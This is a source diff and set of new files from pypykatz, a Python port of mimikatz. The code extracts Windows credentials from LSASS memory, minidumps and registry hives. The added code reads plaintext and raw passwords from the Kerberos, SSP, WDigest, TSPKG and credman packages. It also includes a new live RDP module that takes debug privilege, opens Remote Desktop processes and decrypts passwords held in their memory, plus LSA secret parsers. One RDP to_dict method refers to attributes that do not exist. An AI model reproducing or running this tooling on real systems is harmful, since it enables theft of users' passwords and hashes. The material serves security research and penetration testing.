128 | 134 | self.current_cred.password = self.current_cred.password.hex() |
129 | 135 | else: |
130 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) | |
136 | self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) | |
131 | 137 | |
132 | 138 | if kerberos_logon_session.SmartcardInfos.value != 0: |
133 | 139 | csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct) |
134 | 140 | pin_enc = csp_info.PinCode.read_maxdata(self.reader) |
135 | self.current_cred.pin = self.decrypt_password(pin_enc) | |
141 | self.current_cred.pin, self.current_cred.pin_raw = self.decrypt_password(pin_enc) | |
136 | 142 | if csp_info.CspDataLength != 0: |
137 | 143 | self.current_cred.cardinfo = csp_info.CspData.get_infos() |
138 | 144 | |
146 | 152 | ### GOOD |
147 | 153 | #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size) |
148 | 154 | #print(keydata_enc) |
149 | #keydata = self.decrypt_password(keydata_enc, bytes_expected=True) | |
155 | #keydata, raw_dec = self.decrypt_password(keydata_enc, bytes_expected=True) | |
150 | 156 | #print(keydata_enc.hex()) |
151 | 157 | #input('KEY?') |
152 | 158 |
12 | 12 | self.username = None |
13 | 13 | self.domainname = None |
14 | 14 | self.password = None |
15 | self.password_raw = None | |
15 | 16 | self.luid = None |
16 | 17 | |
17 | 18 | def to_dict(self): |
20 | 21 | t['username'] = self.username |
21 | 22 | t['domainname'] = self.domainname |
22 | 23 | t['password'] = self.password |
24 | t['password_raw'] = self.password_raw | |
23 | 25 | t['luid'] = self.luid |
24 | 26 | return t |
25 | 27 | def to_json(self): |
30 | 32 | t += '\tusername %s\n' % self.username |
31 | 33 | t += '\tdomainname %s\n' % self.domainname |
32 | 34 | t += '\tpassword %s\n' % self.password |
35 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
33 | 36 | return t |
34 | 37 | |
35 | 38 | class LiveSspDecryptor(PackageDecryptor): |
55 | 58 | if suppCreds.credentials.Password.Length != 0: |
56 | 59 | enc_data = suppCreds.credentials.Password.read_maxdata(self.reader) |
57 | 60 | if c.username.endswith('$') is True: |
58 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
61 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
59 | 62 | if c.password is not None: |
60 | 63 | c.password = c.password.hex() |
61 | 64 | else: |
62 | c.password = self.decrypt_password(enc_data) | |
65 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
63 | 66 | |
64 | 67 | self.credentials.append(c) |
65 | 68 |
52 | 52 | self.luid = None |
53 | 53 | self.username = None |
54 | 54 | self.password = None |
55 | self.password_raw = None | |
55 | 56 | self.domainname = None |
56 | 57 | |
57 | 58 | def to_dict(self): |
60 | 61 | t['username'] = self.username |
61 | 62 | t['domainname'] = self.domainname |
62 | 63 | t['password'] = self.password |
64 | t['password_raw'] = self.password_raw | |
63 | 65 | t['luid'] = self.luid |
64 | 66 | return t |
65 | 67 | |
72 | 74 | t += '\t\tusername %s\n' % self.username |
73 | 75 | t += '\t\tdomain %s\n' % self.domainname |
74 | 76 | t += '\t\tpassword %s\n' % self.password |
77 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
75 | 78 | return t |
76 | 79 | |
77 | 80 | |
331 | 334 | if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0: |
332 | 335 | enc_data = credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword) |
333 | 336 | if c.username.endswith('$') is True: |
334 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
337 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
335 | 338 | if c.password is not None: |
336 | 339 | c.password = c.password.hex() |
337 | 340 | else: |
338 | c.password = self.decrypt_password(enc_data) | |
341 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
339 | 342 | |
340 | 343 | c.luid = self.current_logonsession.luid |
341 | 344 | |
351 | 354 | |
352 | 355 | self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data)) |
353 | 356 | self.log('Decrypting credential structure') |
354 | dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True) | |
357 | dec_data, raw_dec = self.decrypt_password(encrypted_credential_data, bytes_expected = True) | |
355 | 358 | self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data))) |
356 | 359 | |
357 | 360 | struct_reader = GenericReader(dec_data, self.sysinfo.architecture) |
13 | 13 | self.username = None |
14 | 14 | self.domainname = None |
15 | 15 | self.password = None |
16 | self.password_raw = None | |
16 | 17 | self.luid = None |
17 | 18 | |
18 | 19 | def to_dict(self): |
21 | 22 | t['username'] = self.username |
22 | 23 | t['domainname'] = self.domainname |
23 | 24 | t['password'] = self.password |
25 | t['password_raw'] = self.password_raw | |
24 | 26 | t['luid'] = self.luid |
25 | 27 | return t |
26 | 28 | |
32 | 34 | t += '\t\tusername %s\n' % self.username |
33 | 35 | t += '\t\tdomainname %s\n' % self.domainname |
34 | 36 | t += '\t\tpassword %s\n' % self.password |
37 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
35 | 38 | return t |
36 | 39 | |
37 | 40 | class SspDecryptor(PackageDecryptor): |
53 | 56 | c.domainname = ssp_entry.credentials.UserName.read_string(self.reader) |
54 | 57 | if ssp_entry.credentials.Password.Length != 0: |
55 | 58 | if c.username.endswith('$') is True or c.domainname.endswith('$') is True: |
56 | c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader), bytes_expected=True) | |
59 | c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader), bytes_expected=True) | |
57 | 60 | if c.password is not None: |
58 | 61 | c.password = c.password.hex() |
59 | 62 | else: |
60 | c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader)) | |
63 | c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader)) | |
61 | 64 | |
62 | 65 | if c.username == '' and c.domainname == '' and c.password is None: |
63 | 66 | return |
15 | 15 | self.username = None |
16 | 16 | self.domainname = None |
17 | 17 | self.password = None |
18 | self.password_raw = None | |
18 | 19 | self.luid = None |
19 | 20 | |
20 | 21 | def to_dict(self): |
23 | 24 | t['username'] = self.username |
24 | 25 | t['domainname'] = self.domainname |
25 | 26 | t['password'] = self.password |
27 | t['password_raw'] = self.password_raw | |
26 | 28 | t['luid'] = self.luid |
27 | 29 | return t |
30 | ||
28 | 31 | def to_json(self): |
29 | 32 | return json.dumps(self.to_dict()) |
30 | 33 | |
33 | 36 | t += '\t\tusername %s\n' % self.username |
34 | 37 | t += '\t\tdomainname %s\n' % self.domainname |
35 | 38 | t += '\t\tpassword %s\n' % self.password |
39 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
36 | 40 | return t |
37 | 41 | |
38 | 42 | class TspkgDecryptor(PackageDecryptor): |
81 | 85 | if primary_credential.credentials.Password.Length != 0: |
82 | 86 | enc_data = primary_credential.credentials.Password.read_maxdata(self.reader) |
83 | 87 | if c.username.endswith('$') is True: |
84 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
88 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
85 | 89 | if c.password is not None: |
86 | 90 | c.password = c.password.hex() |
87 | 91 | else: |
88 | c.password = self.decrypt_password(enc_data) | |
92 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
89 | 93 | |
90 | 94 | self.credentials.append(c)⏎ |
14 | 14 | self.username = None |
15 | 15 | self.domainname = None |
16 | 16 | self.password = None |
17 | self.password_raw = None | |
17 | 18 | self.luid = None |
18 | 19 | |
19 | 20 | def to_dict(self): |
22 | 23 | t['username'] = self.username |
23 | 24 | t['domainname'] = self.domainname |
24 | 25 | t['password'] = self.password |
26 | t['password_raw'] = self.password_raw | |
25 | 27 | t['luid'] = self.luid |
26 | 28 | return t |
27 | 29 | def to_json(self): |
32 | 34 | t += '\t\tusername %s\n' % self.username |
33 | 35 | t += '\t\tdomainname %s\n' % self.domainname |
34 | 36 | t += '\t\tpassword %s\n' % self.password |
37 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
35 | 38 | return t |
36 | 39 | |
37 | 40 | class WdigestDecryptor(PackageDecryptor): |
64 | 67 | wc.domainname = DomainName.read_string(self.reader) |
65 | 68 | wc.encrypted_password = Password.read_maxdata(self.reader) |
66 | 69 | if wc.username.endswith('$') is True: |
67 | wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True) | |
70 | wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True) | |
68 | 71 | if wc.password is not None: |
69 | 72 | wc.password = wc.password.hex() |
70 | 73 | else: |
71 | wc.password = self.decrypt_password(wc.encrypted_password) | |
74 | wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password) | |
72 | 75 | |
73 | 76 | if wc.username == '' and wc.domainname == '' and wc.password is None: |
74 | 77 | return |
121 | 121 | print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e)) |
122 | 122 | |
123 | 123 | @staticmethod |
124 | def go_live_phandle(lsass_process_handle, packages = ['all']): | |
124 | def go_live_phandle(process_handle, packages = ['all']): | |
125 | 125 | if platform.system() != 'Windows': |
126 | 126 | raise Exception('Live parsing will only work on Windows') |
127 | 127 | from pypykatz.commons.readers.local.live_reader import LiveReader |
128 | reader = LiveReader(lsass_process_handle=lsass_process_handle) | |
128 | reader = LiveReader(process_handle=process_handle) | |
129 | 129 | sysinfo = KatzSystemInfo.from_live_reader(reader) |
130 | 130 | mimi = pypykatz(reader.get_buffered_reader(), sysinfo) |
131 | 131 | mimi.start(packages) |
382 | 382 | self.get_ssp() |
383 | 383 | except Exception as e: |
384 | 384 | self.errors.append(('ssp', e)) |
385 | ||
386 | if 'dpapi' in packages or 'all' in packages: | |
387 | try: | |
388 | self.get_dpapi() | |
389 | except Exception as e: | |
390 | self.errors.append(('dpapi', e)) | |
391 | ||
392 | if 'cloudap' in packages or 'all' in packages: | |
393 | try: | |
394 | self.get_cloudap() | |
395 | except Exception as e: | |
396 | self.errors.append(('cloudap', e)) | |
385 | 397 | |
386 | 398 | if 'livessp' in packages or 'all' in packages: |
387 | 399 | try: |
389 | 401 | except Exception as e: |
390 | 402 | self.errors.append(('livessp', e)) |
391 | 403 | |
392 | if 'dpapi' in packages or 'all' in packages: | |
393 | try: | |
394 | self.get_dpapi() | |
395 | except Exception as e: | |
396 | self.errors.append(('dpapi', e)) | |
397 | ||
398 | if 'cloudap' in packages or 'all' in packages: | |
399 | try: | |
400 | self.get_cloudap() | |
401 | except Exception as e: | |
402 | self.errors.append(('cloudap', e)) | |
403 | ||
404 | ||
405 |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | import os | |
7 | import json | |
8 | import glob | |
9 | import ntpath | |
10 | import traceback | |
11 | import base64 | |
12 | ||
13 | from pypykatz import logging | |
14 | from pypykatz.commons.common import UniversalEncoder | |
15 | from pypykatz.rdp.parser import RDPCredParser | |
16 | ||
17 | ||
18 | ||
19 | class RDPCMDHelper: | |
20 | def __init__(self): | |
21 | self.live_keywords = ['rdp'] | |
22 | self.keywords = ['rdp'] | |
23 | ||
24 | def add_args(self, parser, live_parser): | |
25 | live_group = live_parser.add_parser('rdp', help='a') | |
26 | live_group.add_argument('--pid', type=int, help = 'Search a specific process PID for RDP creds') | |
27 | live_group.add_argument('--all', action='store_true', help = 'Looks for all processes which use the rdp DLL') | |
28 | ||
29 | group = parser.add_parser('rdp', help='Parse RDP ceredentials from minidump file. Only WINVER <= Win2012') | |
30 | group.add_argument('cmd', choices=['minidump']) | |
31 | group.add_argument('memoryfile', help='path to the dump file') | |
32 | ||
33 | def execute(self, args): | |
34 | if len(self.keywords) > 0 and args.command in self.keywords: | |
35 | self.run(args) | |
36 | ||
37 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: | |
38 | self.run_live(args) | |
39 | ||
40 | def run_live(self, args): | |
41 | credparsers = RDPCredParser.go_live(pid = args.pid, all_rdp = args.all) | |
42 | for credparser in credparsers: | |
43 | for cred in credparser.credentials: | |
44 | print(str(cred)) | |
45 | ||
46 | def run(self, args): | |
47 | credparsers = RDPCredParser.parse_minidump_file(args.memoryfile) | |
48 | for credparser in credparsers: | |
49 | for cred in credparser.credentials: | |
50 | print(str(cred))⏎ |
0 | import json | |
1 | import hashlib | |
2 | ||
3 | from pypykatz import logger | |
4 | from pypykatz.commons.common import hexdump | |
5 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild | |
6 | ||
7 | ||
8 | class RDPCredential: | |
9 | def __init__(self): | |
10 | self.credtype = 'rdp' | |
11 | self.domainname = None | |
12 | self.username = None | |
13 | self.password = None | |
14 | self.password_raw = None | |
15 | ||
16 | ||
17 | def to_dict(self): | |
18 | t = {} | |
19 | t['credtype'] = self.credtype | |
20 | t['domainname'] = self.cachedir | |
21 | t['username'] = self.PRT | |
22 | t['password'] = self.key_guid | |
23 | t['password_raw'] = self.dpapi_key | |
24 | return t | |
25 | ||
26 | def to_json(self): | |
27 | return json.dumps(self.to_dict()) | |
28 | ||
29 | def __str__(self): | |
30 | t = '\t== RDP Credential ==\n' | |
31 | t += '\t\tdomainname %s\n' % self.domainname | |
32 | t += '\t\tusername %s\n' % self.username | |
33 | t += '\t\tpassword %s\n' % self.password | |
34 | t += '\t\tpassword_raw %s\n' % self.password_raw.hex() | |
35 | return t | |
36 | ||
37 | class RDPCredentialDecryptor: | |
38 | def __init__(self, process, reader, decryptor_template, sysinfo): | |
39 | self.process = process | |
40 | self.reader = reader | |
41 | self.sysinfo = sysinfo | |
42 | self.decryptor_template = decryptor_template | |
43 | self.credentials = [] | |
44 | ||
45 | def add_entry(self, rdpcred_entry): | |
46 | try: | |
47 | if rdpcred_entry.cbDomain <= 512 and rdpcred_entry.cbUsername <= 512 and rdpcred_entry.cbPassword <= 512 and rdpcred_entry.cbPassword > 0: | |
48 | domainame = rdpcred_entry.Domain[:rdpcred_entry.cbDomain].decode('utf-16-le') | |
49 | username = rdpcred_entry.UserName[:rdpcred_entry.cbUsername].decode('utf-16-le') | |
50 | password_raw = rdpcred_entry.Password[:rdpcred_entry.cbPassword] | |
51 | ||
52 | if self.sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value: | |
53 | if self.process is None: | |
54 | raise Exception ('Credentials found but they are encrypted!') | |
55 | ||
56 | password_raw = self.process.dpapi_memory_unprotect(rdpcred_entry.Password_addr, rdpcred_entry.cbPassword, 0) | |
57 | password = password_raw.decode('utf-16-le') | |
58 | else: | |
59 | password = password_raw.decode('utf-16-le') | |
60 | password_raw = password_raw.split(b'\x00\x00')[0] + b'\x00' | |
61 | ||
62 | cred = RDPCredential() | |
63 | cred.domainname = domainame | |
64 | cred.username = username | |
65 | cred.password = password | |
66 | cred.password_raw = password_raw | |
67 | self.credentials.append(cred) | |
68 | ||
69 | else: | |
70 | logger.debug('This RDPCred entry is garbage!') | |
71 | except Exception as e: | |
72 | logger.debug('RDP entry parsing error! Reason %s' % e) | |
73 | ||
74 | ||
75 | def start(self): | |
76 | for signature in self.decryptor_template.signatures: | |
77 | x = self.reader.find_all_global(signature) | |
78 | if len(x) == 0: | |
79 | logger.debug('No RDP credentials found!') | |
80 | return | |
81 | for addr in x: | |
82 | addr += self.decryptor_template.offset | |
83 | self.reader.move(addr) | |
84 | #print(hexdump(self.reader.peek(0x100))) | |
85 | try: | |
86 | cred = self.decryptor_template.cred_struct(self.reader) | |
87 | except Exception as e: | |
88 | logger.debug('Reading error! (this can be normal here) %s' % str(e)) | |
89 | continue | |
90 | self.add_entry(cred) |
0 | ||
1 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild | |
2 | from pypykatz.commons.win_datatypes import POINTER, ULONG, \ | |
3 | KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, \ | |
4 | LSA_UNICODE_STRING, WORD | |
5 | from pypykatz.commons.common import hexdump | |
6 | ||
7 | class RDPCredsTemplate: | |
8 | def __init__(self): | |
9 | self.signature = None | |
10 | self.cred_struct = None | |
11 | ||
12 | @staticmethod | |
13 | def get_template(sysinfo): | |
14 | template = RDPCredsTemplate() | |
15 | ||
16 | if sysinfo.buildnumber >= WindowsBuild.WIN_8.value: | |
17 | template.signatures = [b'\x00\x00\x00\x00\xbb\x47', b'\x00\x00\x00\x00\xf3\x47', b'\x00\x00\x00\x00\x3b\x01'] | |
18 | template.offset = 0 | |
19 | template.cred_struct = WTS_KIWI | |
20 | ||
21 | else: | |
22 | template.signatures = [b'\xc8\x00\x00\x00\xc8\x00\x00\x00'] | |
23 | template.offset = 16 | |
24 | template.cred_struct = WTS_KIWI_2008R2 | |
25 | ||
26 | ||
27 | return template | |
28 | ||
29 | ||
30 | class WTS_KIWI: | |
31 | def __init__(self, reader): | |
32 | self.unk0 = DWORD(reader) | |
33 | self.unk1 = DWORD(reader) | |
34 | self.cbDomain = WORD(reader).value | |
35 | self.cbUsername = WORD(reader).value | |
36 | self.cbPassword = WORD(reader).value | |
37 | self.unk2 = DWORD(reader) | |
38 | self.Domain = reader.read(512) | |
39 | self.UserName = reader.read(512) | |
40 | self.Password_addr = reader.tell() | |
41 | self.Password = reader.read(512) | |
42 | ||
43 | class WTS_KIWI_2008R2: | |
44 | def __init__(self, reader): | |
45 | self.unk0 = DWORD(reader) | |
46 | self.unk0 = DWORD(reader) | |
47 | self.cbDomain = WORD(reader).value + 511 #making it compatible with the pother version. this is probably a bool?) | |
48 | self.cbUsername = WORD(reader).value + 511 | |
49 | self.cbPassword = WORD(reader).value + 511 | |
50 | self.unk2 = DWORD(reader) | |
51 | self.Domain = reader.read(512) | |
52 | self.UserName = reader.read(512) | |
53 | self.Password_addr = reader.tell() | |
54 | self.Password = reader.read(512)⏎ |
0 | ||
1 | import platform | |
2 | from pypykatz import logger | |
3 | from minidump.minidumpfile import MinidumpFile | |
4 | from pypykatz.commons.common import KatzSystemInfo | |
5 | from pypykatz.rdp.packages.creds.templates import RDPCredsTemplate | |
6 | from pypykatz.rdp.packages.creds.decryptor import RDPCredentialDecryptor | |
7 | ||
8 | class RDPCredParser: | |
9 | def __init__(self, process, reader, sysinfo): | |
10 | self.process = process | |
11 | self.reader = reader | |
12 | self.sysinfo = sysinfo | |
13 | self.credentials = [] | |
14 | ||
15 | @staticmethod | |
16 | def go_live(pid = None, all_rdp = False): | |
17 | if platform.system() != 'Windows': | |
18 | raise Exception('Live parsing will only work on Windows') | |
19 | from pypykatz.commons.readers.local.common.live_reader_ctypes import OpenProcess, PROCESS_ALL_ACCESS | |
20 | from pypykatz.commons.winapi.machine import LiveMachine | |
21 | from pypykatz.commons.winapi.constants import PROCESS_VM_READ , PROCESS_VM_WRITE , PROCESS_VM_OPERATION , PROCESS_QUERY_INFORMATION , PROCESS_CREATE_THREAD | |
22 | from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege | |
23 | from pypykatz.commons.readers.local.live_reader import LiveReader | |
24 | from pypykatz.commons.readers.local.process import Process | |
25 | req_access_rights = PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | |
26 | ||
27 | enable_debug_privilege() | |
28 | targets = [] | |
29 | ||
30 | if pid is not None: | |
31 | process = Process(pid=pid, access = req_access_rights ) | |
32 | process.list_modules() | |
33 | reader = LiveReader(process_handle=process.phandle) | |
34 | sysinfo = KatzSystemInfo.from_live_reader(reader) | |
35 | targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo)) | |
36 | ||
37 | else: | |
38 | machine = LiveMachine() | |
39 | for service_name, display_name, pid in machine.list_services(): | |
40 | if service_name == 'TermService': | |
41 | process = Process(pid=pid, access = req_access_rights ) | |
42 | reader = LiveReader(process_handle=process.phandle) | |
43 | sysinfo = KatzSystemInfo.from_live_reader(reader) | |
44 | targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo)) | |
45 | ||
46 | ||
47 | if all_rdp is True: | |
48 | for pid in machine.list_all_pids(): | |
49 | try: | |
50 | process = Process(pid=pid, access = req_access_rights ) | |
51 | for module in process.list_modules(): | |
52 | if module.name.lower().find("mstscax.dll") != -1: | |
53 | reader = LiveReader(process_handle=process.phandle) | |
54 | sysinfo = KatzSystemInfo.from_live_reader(reader) | |
55 | targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo)) | |
56 | break | |
57 | except Exception as e: | |
58 | #import traceback | |
59 | #traceback.print_exc() | |
60 | print(e) | |
61 | ||
62 | for target in targets: | |
63 | target.start() | |
64 | return targets | |
65 | ||
66 | ||
67 | @staticmethod | |
68 | def parse_minidump_file(filename, chunksize = 10*1024): | |
69 | try: | |
70 | minidump = MinidumpFile.parse(filename) | |
71 | reader = minidump.get_reader().get_buffered_reader(segment_chunk_size=chunksize) | |
72 | sysinfo = KatzSystemInfo.from_minidump(minidump) | |
73 | except Exception as e: | |
74 | logger.exception('Minidump parsing error!') | |
75 | raise e | |
76 | try: | |
77 | mimi = RDPCredParser(None, reader, sysinfo) | |
78 | mimi.start() | |
79 | except Exception as e: | |
80 | logger.info('Credentials parsing error!') | |
81 | raise e | |
82 | return [mimi] | |
83 | ||
84 | def rdpcreds(self): | |
85 | decryptor_template = RDPCredsTemplate.get_template(self.sysinfo) | |
86 | decryptor = RDPCredentialDecryptor(self.process, self.reader, decryptor_template, self.sysinfo) | |
87 | decryptor.start() | |
88 | ||
89 | for cred in decryptor.credentials: | |
90 | self.credentials.append(cred) | |
91 | ||
92 | ||
93 | def start(self): | |
94 | self.rdpcreds()⏎ |
40 | 40 | await self.sam.get_secrets() |
41 | 41 | |
42 | 42 | if self.security_hive: |
43 | self.security = SECURITY(self.security_hive, bootkey) | |
43 | self.security = SECURITY(self.security_hive, bootkey, self.system) | |
44 | 44 | await self.security.get_secrets() |
45 | 45 | |
46 | 46 | if self.software_hive: |
48 | 48 | await self.software.get_default_logon() |
49 | 49 | |
50 | 50 | def to_file(self, file_path, json_format = False): |
51 | with open(file_path, 'w', newline = '') as f: | |
51 | with open(file_path, 'a', newline = '') as f: | |
52 | 52 | if json_format == False: |
53 | 53 | f.write(str(self)) |
54 | 54 | else: |
78 | 78 | pass |
79 | 79 | |
80 | 80 | def to_file(self, file_path, json_format = False): |
81 | with open(file_path, 'w', newline = '') as f: | |
81 | with open(file_path, 'a', newline = '') as f: | |
82 | 82 | if json_format == False: |
83 | 83 | f.write(str(self)) |
84 | 84 | else: |
40 | 40 | self.sam.get_secrets() |
41 | 41 | |
42 | 42 | if self.security_hive: |
43 | self.security = SECURITY(self.security_hive, bootkey) | |
43 | self.security = SECURITY(self.security_hive, bootkey, self.system) | |
44 | 44 | self.security.get_secrets() |
45 | 45 | |
46 | 46 | if self.software_hive: |
57 | 57 | pass |
58 | 58 | |
59 | 59 | def to_file(self, file_path, json_format = False): |
60 | with open(file_path, 'w', newline = '') as f: | |
60 | with open(file_path, 'a', newline = '') as f: | |
61 | 61 | if json_format == False: |
62 | 62 | f.write(str(self)) |
63 | 63 | else: |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | from pypykatz.crypto.MD4 import MD4 | |
7 | from pypykatz.dpapi.structures.system import DPAPI_SYSTEM | |
8 | from pypykatz.commons.common import hexdump | |
9 | ||
10 | # | |
11 | # These classes used to "standardise" the different secrets that can be obtained from the SECURITY hive | |
12 | # The so-called LSA secrets can be of any format, therefore if the parser doesnt find an appropriate class for the secret | |
13 | # it will store the decrypted secret in raw bytes | |
14 | # | |
15 | # | |
16 | ||
17 | class LSASecret: | |
18 | def __init__(self,key_name, raw_secret, history = False): | |
19 | self.raw_secret = raw_secret | |
20 | self.key_name = key_name | |
21 | self.history = history | |
22 | ||
23 | @staticmethod | |
24 | async def process(key_name, raw_secret, history = False, system_hive = None): | |
25 | kn = key_name.upper() | |
26 | if len(raw_secret) == 0: | |
27 | return | |
28 | if raw_secret.startswith(b'\x00\x00'): | |
29 | return | |
30 | ||
31 | if kn.startswith('_SC_'): | |
32 | lss = LSASecretService(kn, raw_secret, history, system_hive) | |
33 | await lss.process_secret() | |
34 | ||
35 | elif kn.startswith('DEFAULTPASSWORD'): | |
36 | lss = LSASecretDefaultPassword(kn, raw_secret, history) | |
37 | lss.process_secret() | |
38 | ||
39 | elif kn.startswith('ASPNET_WP_PASSWORD'): | |
40 | lss = LSASecretASPNET(kn, raw_secret, history) | |
41 | lss.process_secret() | |
42 | ||
43 | elif kn.startswith('DPAPI_SYSTEM'): | |
44 | lss = LSASecretDPAPI(kn, raw_secret, history) | |
45 | lss.process_secret() | |
46 | ||
47 | elif kn.startswith('$MACHINE.ACC'): | |
48 | lss = LSASecretMachineAccount(kn, raw_secret, history) | |
49 | lss.process_secret() | |
50 | ||
51 | else: | |
52 | lss = LSASecret(kn, raw_secret, history) | |
53 | ||
54 | return lss | |
55 | ||
56 | def __str__(self): | |
57 | return '=== LSASecret %s ===\r\n' % self.key_name + '\r\nHistory: %s' % self.history + '\r\nSecret: \r\n' + hexdump(self.raw_secret) | |
58 | ||
59 | def to_dict(self): | |
60 | t = {} | |
61 | t['type'] = 'LSASecret' | |
62 | t['key_name'] = self.key_name | |
63 | t['history'] = self.history | |
64 | t['raw_secret'] = self.raw_secret | |
65 | return t | |
66 | ||
67 | class LSASecretService(LSASecret): | |
68 | def __init__(self, key_name, raw_secret, history, system_hive = None): | |
69 | LSASecret.__init__(self, key_name, raw_secret, history) | |
70 | self.system_hive = system_hive | |
71 | self.service = None | |
72 | self.username = None | |
73 | self.secret = None | |
74 | ||
75 | async def process_secret(self): | |
76 | try: | |
77 | self.secret = self.raw_secret.decode('utf-16-le') | |
78 | except: | |
79 | self.secret = self.raw_secret.hex() | |
80 | else: | |
81 | #here you may implement a mechanism to fetch the service user's name | |
82 | #TODO | |
83 | self.service = self.key_name | |
84 | self.username = 'UNKNOWN' | |
85 | if self.system_hive is not None: | |
86 | self.username = await self.system_hive.get_service_user(self.key_name[4:]) | |
87 | ||
88 | def __str__(self): | |
89 | return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret) | |
90 | ||
91 | def to_dict(self): | |
92 | t = {} | |
93 | t['type'] = 'LSASecretService' | |
94 | t['key_name'] = self.key_name | |
95 | t['history'] = self.history | |
96 | t['username'] = self.username | |
97 | t['secret'] = self.secret | |
98 | t['service'] = self.service | |
99 | return t | |
100 | ||
101 | ||
102 | class LSASecretDefaultPassword(LSASecret): | |
103 | def __init__(self, key_name, raw_secret, history): | |
104 | LSASecret.__init__(self, key_name, raw_secret, history) | |
105 | self.username = None | |
106 | self.secret = None | |
107 | ||
108 | def process_secret(self): | |
109 | try: | |
110 | self.secret = self.raw_secret.decode('utf-16-le') | |
111 | except: | |
112 | pass | |
113 | else: | |
114 | #here you may implement a mechanism to fetch the default logon user | |
115 | #TODO | |
116 | self.username = 'UNKNOWN' | |
117 | ||
118 | def __str__(self): | |
119 | return '=== LSA Default Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret) | |
120 | ||
121 | def to_dict(self): | |
122 | t = {} | |
123 | t['type'] = 'LSASecretDefaultPassword' | |
124 | t['key_name'] = self.key_name | |
125 | t['history'] = self.history | |
126 | t['username'] = self.username | |
127 | t['secret'] = self.secret | |
128 | return t | |
129 | ||
130 | class LSASecretASPNET(LSASecret): | |
131 | def __init__(self, key_name, raw_secret, history): | |
132 | LSASecret.__init__(self, key_name, raw_secret, history) | |
133 | self.username = 'ASPNET' | |
134 | self.secret = None | |
135 | ||
136 | def process_secret(self): | |
137 | try: | |
138 | self.secret = self.raw_secret.decode('utf-16-le') | |
139 | except: | |
140 | pass | |
141 | ||
142 | def __str__(self): | |
143 | return '=== LSA ASPNET Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret) | |
144 | ||
145 | def to_dict(self): | |
146 | t = {} | |
147 | t['type'] = 'LSASecretASPNET' | |
148 | t['key_name'] = self.key_name | |
149 | t['history'] = self.history | |
150 | t['username'] = self.username | |
151 | t['secret'] = self.secret | |
152 | return t | |
153 | ||
154 | class LSASecretMachineAccount(LSASecret): | |
155 | def __init__(self, key_name, raw_secret, history): | |
156 | LSASecret.__init__(self, key_name, raw_secret, history) | |
157 | self.username = None | |
158 | self.secret = None | |
159 | self.kerberos_password = None | |
160 | ||
161 | def process_secret(self): | |
162 | #only the NT hash is calculated here | |
163 | ctx = MD4(self.raw_secret)#hashlib.new('md4') | |
164 | #ctx.update(self.raw_secret) | |
165 | self.secret = ctx.digest() | |
166 | ||
167 | #thx dirkjan | |
168 | self.kerberos_password = self.raw_secret.decode('utf-16-le', 'replace').encode('utf-8', 'replace') | |
169 | ||
170 | def to_dict(self): | |
171 | t = {} | |
172 | t['type'] = 'LSASecretMachineAccount' | |
173 | t['key_name'] = self.key_name | |
174 | t['history'] = self.history | |
175 | t['username'] = self.username | |
176 | t['secret'] = self.secret | |
177 | t['kerberos_password'] = self.kerberos_password | |
178 | return t | |
179 | ||
180 | def __str__(self): | |
